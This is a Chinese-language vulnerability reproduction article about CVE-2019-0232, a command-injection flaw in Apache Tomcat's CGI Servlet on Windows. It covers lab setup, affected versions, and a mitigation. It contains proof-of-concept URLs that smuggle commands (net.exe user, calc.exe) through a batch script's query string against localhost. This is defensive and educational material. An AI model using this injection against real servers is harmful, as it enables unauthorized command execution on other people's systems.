安云网 - AnYun.ORG | 专注于网络信息收集、网络数据分享、网络安全研究、网络各种猎奇八卦。
当前位置: 安云网 > 技术关注 > 系统文档 > Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

时间:2021-06-08来源:未知 作者:安云网点击:
目录 漏洞编号和级别 漏洞概述 影响范围 环境介绍 漏洞环境搭建 漏洞利用 一、 漏洞简介 回到顶部 漏洞编号和级别 CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方未评定。 回到顶部 漏洞概述 Apache Tomcat是美国阿帕奇(A
//内容来自安云网

目录

//本文来自安云网

 


 

一、     漏洞简介

回到顶部

漏洞编号和级别

CVE编号:CVE-2019-0232,危险级别:高危,CVSS分值:官方未评定。

回到顶部

漏洞概述

Apache Tomcat是美国阿帕奇(Apache)软件基金会的一款轻量级Web应用服务器。该程序实现了对Servlet和JavaServer Page(JSP)的支持。

4月11日,Apache官方发布通告称将在最新版本中修复一个远程代码执行漏洞(CVE-2019-0232),由于JRE将命令行参数传递给Windows的方式存在错误,会导致CGI Servlet受到远程执行代码的攻击。

触发该漏洞需要同时满足以下条件:

1. 系统为Windows

2. 启用了CGI Servlet(默认为关闭)

3. 启用了enableCmdLineArguments(Tomcat 9.0.*及官方未来发布版本默认为关闭)

回到顶部

影响范围

Apache Tomcat 9.0.0.M1 to 9.0.17

Apache Tomcat 8.5.0 to 8.5.39

Apache Tomcat 7.0.0 to 7.0.93

二、     漏洞复现

回到顶部

环境介绍

服务端:Windows Server 2008 R2 Enterprise

Apache Tomcat 8.5.39

JDK 1.8.0_181

回到顶部

漏洞环境搭建

java环境安装

1、官网下载jdk安装包

http://www.oracle.com/technetwork/java/javase/downloads/index.html

2、根据提示安装jdk

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

3、配置路径,我的电脑->属性->高级系统设置->环境变量->ath 添加jdk和jre路径

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 (环境变量配置失败可以直接在setclasspath.bat的开头手动声明环境变量)

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

4、配置成功后如图:

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

Apache Tomcat安装

1、下载地址:(https://archive.apache.org/dist/tomcat/tomcat-8/v8.5.39/

2、直接解压缩至你要安装的目录

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

3、安装成功后,运行startup.bat启动服务

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

4、访问http://localhost:8080,如下图启动成功。

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 配置Apache Tomcat服务器(修改conf目录配置文件,启用CGI)

1、打开Tomcat安装目录的apache-tomcat-8.5.39\conf\web.xml修改如下配置,在默认情况下配置是注释的。

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 2、同时还要修改web.xml以下配置,否则访问cgi目录会提示404。

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 3、打开Tomcat安装目录的apache-tomcat-8.5.39\conf\context.xml修改如下配置,添加privileged="true" 。

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 4、在apache-tomcat-8.5.39\webapps\ROOT\WEB-INF目录新建一个cgi-bin文件夹,创建一个hello.bat的文件,内容如下:

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 5、至此,此漏洞环境搭建完成

回到顶部

漏洞利用

Poc如下:

http://localhost:8080/cgi-bin/hello.bat?& C%3A%5CWindows%5CSystem32%5Cnet.exe+user

http://localhost:8080/cgi-bin/hello.bat?&C%3A%5CWindows%5CSystem32%5Ccalc.exe

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 

 

漏洞复现成功。

三、     解决方案

Apache官方还未正式发布以上最新版本,受影响的用户请保持关注,在官方更新后尽快升级进行防护。与此同时,用户可以将CGI Servlet初始化参数enableCmdLineArguments设置为false来进行防护。

在Tomcat安装路径的conf文件夹下,使用编辑器打开web.xml,找到enableCmdLineArguments参数部分,添加如下配置:

 Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现

 重启Tomcat服务,以确保配置生效。

四、     参考链接

https://blog.csdn.net/pruett/article/details/78146693

http://blog.nsfocus.net/cve-2019-0232/

https://github.com/pyn3rd/CVE-2019-0232

https://github.com/jas502n/CVE-2019-0232

https://chaceshadow.github.io/


本文标题: Apache Tomcat 远程代码执行漏洞(CVE-2019-0232)漏洞复现 安云网
顶一下
(0)
0%
踩一下
(0)
0%
------分隔线----------------------------
发表评论
请自觉遵守互联网相关的政策法规,严禁发布色情、暴力、反动的言论。
评价:
验证码: 点击我更换图片
相关内容
推荐内容